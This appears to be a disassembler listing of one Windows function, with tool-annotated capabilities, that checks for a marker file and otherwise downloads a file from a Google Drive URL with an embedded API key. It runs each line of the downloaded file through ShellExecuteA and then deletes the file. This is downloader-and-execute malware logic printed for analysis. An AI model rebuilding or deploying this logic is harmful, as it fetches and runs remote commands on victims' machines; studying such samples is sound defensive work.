Function at 0x402ea5
Capabilities:
Create process on windows
Delete file

Disassembly:
push rbp
push rbx
sub rsp, 0x428
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov r8d, 8
lea rdx, str.C:_ss.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x50]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
je 0x402f01
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov ebx, 0
jmp 0x4030d1
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rcx, str.C:d.txt
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp + 0x38f]
lea rax, [rbp + 0x380]
mov r8, rdx
lea rdx, str.C:d.txt
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x39b]
mov rcx, rax
call fcn.0044fb90
lea rdx, [rbp + 0x39b]
lea rax, [rbp + 0x390]
mov r8, rdx
lea rdx, str.https:__www.googleapis.com_drive_v3_files_1MEQyPYkEDgo7IES73CxtQuRvRo4LPs9g_altmediakeyAIzaSyD_QWLVRGx58NvbEhXEH5kknnFYpH20wmw
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0x380]
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.downloadFile_std::string__std::string_
mov dword [rbp + 0x39c], eax
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.00459260
lea rax, [rbp + 0x39b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x380]
mov rcx, rax
call fcn.00459260
lea rax, [rbp + 0x38f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x190]
mov r8d, 8
lea rdx, str.C:d.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x403056
lea rax, [rbp + 0x370]
mov rcx, rax
call method.std::string.length___const
cmp rax, 2
seta al
test al, al
je 0x403056
lea rax, [rbp + 0x370]
mov rcx, rax
call method.std::string.c_str___const
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rdx, [rbp + 0x370]
lea rax, [rbp + 0x190]
mov rcx, rax
call method.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std.allocator_char____std::basic_istream_char__std::char_traits_char_____std::basic_string_char__std::char_traits_char___std::allocator_char____
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
jne 0x403000
lea rax, [rbp + 0x190]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rcx, str.C:d.txt
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.00459260
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.00467540
mov ebx, 1
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00467540
cmp ebx, 1
je 0x4030e7
jmp 0x40317b
nop
jmp 0x40317b
add rsp, 0x428
pop rbx
pop rbp
ret